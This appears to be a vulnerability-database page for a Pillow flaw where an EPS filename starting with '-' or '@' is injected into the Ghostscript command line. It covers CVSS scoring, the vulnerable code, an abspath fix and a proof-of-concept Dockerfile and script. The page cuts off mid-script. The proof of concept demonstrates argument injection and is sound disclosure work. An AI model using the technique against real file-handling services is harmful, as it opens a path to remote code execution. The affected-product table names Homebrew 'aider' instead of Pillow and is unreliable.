VulnerabilityPublished 22 Oct 2026Updated 29 Oct 2026

CVE-2026-112900: Pillow · Argument Injection in Ghostscript call, potentially leading into RCE

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Authoritative record:CVE-2026-112900· Critical 9.2

Not known to be exploited · CVSS 9.2 Critical.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

9.2Critical

How severe the flaw is on the 0–10 CVSS scale.

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: Present
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: Present: The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: a race condition must be won to successfully exploit the vulnerability (the successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker, or the attack may need to be launched multiple times against a single target before being successful); the attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 19 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Homebrewaider`pkg:brew/aider`Other threats	Affected >=0.86.1_1	Fixed in–

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Description

### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, "-q", f"-g{width:d}x{height:d}", f"-r{res_x:f}x{res_y:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD ["python3", "poc.py"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n" name = "-h" with open(name, "wb") as f: f.write(EPS) ############################################################################################ print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") try: im.load() except Exception as e: print(f"[*] load() raised: {type(e).__name__}: {e}") print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print("

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